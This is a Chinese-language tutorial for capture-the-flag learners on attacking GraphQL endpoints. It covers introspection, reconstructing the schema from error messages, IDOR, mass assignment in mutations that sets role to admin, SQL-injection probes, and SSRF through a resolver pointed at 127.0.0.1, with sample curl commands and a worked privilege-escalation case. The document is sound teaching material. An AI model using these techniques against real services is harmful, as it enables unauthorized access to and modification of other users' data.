GraphQL安全
GraphQL安全
本文适合
已经理解 API安全基础、HTTP请求与响应 和 访问控制与越权 的 Web 学习者。学完你能:从 /graphql 请求中还原 schema 线索,验证字段级越权、mutation 越权和 resolver 注入,并写出可复现的 GraphQL 题解过程
一句话判断
看到一个 Web 题只有少量 API 路径,但请求体里出现 query、mutation、__typename、__schema、operationName 或 /graphql,就要把它当成 GraphQL 题处理。
GraphQL 的关键不是“找更多目录”,而是从一个端点里拆出对象、字段、参数、权限和 resolver 行为。
题目中常见信号
常见路径:
/graphql
/api/graphql
/v1/graphql
/graphiql
/playground
/console常见请求体:
{
"query": "query { me { id username role } }",
"variables": {},
"operationName": null
}前端代码里常见关键词:
WebSocketLink
ApolloClient
gql`
mutation
__typename
GraphQL error
Cannot query field响应里的高价值信号:
{
"errors": [
{
"message": "Cannot query field \"flag\" on type \"User\"."
}
]
}这种错误不是坏事。它说明服务端把 schema 结构、类型名或字段名泄露出来了。
核心概念
GraphQL 把“要什么数据”放在请求体里:
query {
user(id: 1) {
id
username
role
}
}三个对象最重要:
- query:读取数据。
- mutation:修改数据。
- resolver:服务端每个字段背后的处理函数。
安全问题通常出在 resolver,而不是 GraphQL 语法本身。
例如:
user(id: 2)没检查当前用户是否有权读 2 号用户,变成 访问控制与越权。updateUser(input: {role: "admin"})没限制可修改字段,变成批量赋权。search(keyword: "...")拼接进 SQL,变成 SQL注入入门。fetch(url: "...")让服务端访问 URL,变成 SSRF基础。
最小分析流程
1. 抓一条正常请求
先在浏览器 Network 面板里找 GraphQL 请求,记录:
- URL。
- Method。
- Cookie 或 Authorization。
- 请求体。
- 响应体。
- 是否有
errors字段。
保存成 curl:
curl -i 'http://target/graphql' \
-H 'Content-Type: application/json' \
-H 'Cookie: session=YOUR_SESSION' \
--data-binary '{"query":"query { me { id username } }"}'2. 判断 introspection 是否开启
最小 introspection 查询:
curl -s 'http://target/graphql' \
-H 'Content-Type: application/json' \
--data-binary '{"query":"query { __schema { queryType { name } mutationType { name } types { name } } }"}'如果返回大量类型名,优先找:
User
Admin
Flag
Secret
Note
File
Token
Mutation如果返回 “Cannot query field __schema”,不要放弃。继续从前端 JS、错误信息和已知 query 里还原字段。
3. 从错误信息反推 schema
故意查询不存在字段:
query {
me {
id
username
flag
}
}服务端可能提示:
Cannot query field "flag" on type "User". Did you mean "flags"?这个 “Did you mean” 很有价值。
4. 枚举 query 和 mutation
如果 introspection 开启,可以查询字段名:
query {
__schema {
queryType {
fields {
name
args {
name
type { name kind ofType { name kind } }
}
}
}
mutationType {
fields {
name
args {
name
type { name kind ofType { name kind } }
}
}
}
}
}把结果整理成表:
名称:user
参数:id
猜测风险:IDOR
名称:search
参数:keyword
猜测风险:SQL 注入
名称:updateUser
参数:input
猜测风险:批量赋权
名称:resetPassword
参数:userId
猜测风险:越权
最小验证示例
验证字段级越权
正常查询自己:
query {
me {
id
username
}
}尝试加字段:
query {
me {
id
username
role
isAdmin
email
}
}如果普通用户能读到 role、isAdmin、token、secret 等字段,继续确认这些字段是否本该隐藏。
验证 IDOR
query {
user(id: 1) {
id
username
email
role
}
}把 id 改成其他用户:
query {
user(id: 2) {
id
username
email
role
}
}如果返回别人的敏感信息,就是 GraphQL 入口下的 访问控制与越权。
验证 mutation 批量赋权
先看前端已有 mutation,例如:
mutation {
updateProfile(input: { nickname: "cat" }) {
id
nickname
}
}尝试多传字段:
mutation {
updateProfile(input: { nickname: "cat", role: "admin", isAdmin: true }) {
id
nickname
role
isAdmin
}
}如果服务端没有拒绝未知或敏感字段,就要检查权限是否被改变。
验证 resolver 注入
如果有 search(keyword: String):
query {
search(keyword: "'") {
id
title
}
}观察是否出现数据库错误。
如果有 fetch(url: String):
query {
fetch(url: "http://127.0.0.1:80/") {
status
body
}
}这就是从 GraphQL resolver 进入 SSRF基础 的路径。
常见利用 / 解题路线
路线总览:
路线一:introspection 直接找 flag
- 确认
/graphql。 - introspection 获取类型和字段。
- 搜索
Flag、Secret、Admin。 - 构造 query 读取字段。
- 如果权限不足,转向 IDOR 或 role 修改。
路线二:前端 JS 还原隐藏 query
- 在 DevTools 里下载 bundle。
- 搜索
gql、mutation、flag、admin。 - 找到未在 UI 暴露的 query。
- 带上登录态直接调用。
路线三:mutation 改权限
- 找
updateProfile、updateUser、changeRole。 - 尝试多传
role、isAdmin、group。 - 再访问 admin query。
路线四:resolver 注入转传统 Web 漏洞
- 找参数进入数据库、URL、文件路径或模板的位置。
- 用对应知识点验证。
- GraphQL 只负责承载 payload,真正漏洞在 resolver。
常见失败原因
- Content-Type 错误:很多服务端只接受
application/json。 - Cookie 或 Bearer token 漏带:未登录和登录状态下 schema 可能不同。
- query 字符串转义错误:shell 中双引号、反斜杠、换行容易把 JSON 弄坏。
- introspection 关闭就误判没洞:前端 JS、错误提示、历史 query 仍能还原 schema。
- 只测 query,不测 mutation:很多 GraphQL 题真正入口在写操作。
- 只看字段存在,不测字段权限:GraphQL 字段能返回不代表当前用户有权读。
- 别名和批量查询没测:有的限流或字段过滤只按字符串粗糙匹配。
迷你案例
题目页面是一个笔记系统。Network 里只有一个接口:
POST /graphql正常请求:
query {
me {
id
username
}
}第一步,查 schema:
curl -s 'http://target/graphql' \
-H 'Content-Type: application/json' \
-H 'Cookie: session=abc' \
--data-binary '{"query":"query { __schema { queryType { fields { name } } mutationType { fields { name } } } }"}'返回里有:
user
me
note
adminNotes
updateProfile第二步,直接查 adminNotes:
query {
adminNotes {
id
title
content
}
}返回:
Not authorized第三步,检查 updateProfile 是否能改角色:
mutation {
updateProfile(input: { nickname: "guest", role: "admin" }) {
id
username
role
}
}如果响应变成:
{
"data": {
"updateProfile": {
"id": 7,
"username": "guest",
"role": "admin"
}
}
}第四步,再访问:
query {
adminNotes {
title
content
}
}拿到 flag。复盘时要写清楚:漏洞不是“GraphQL 本身不安全”,而是 mutation 的字段级授权缺失,导致普通用户能修改自己的 role。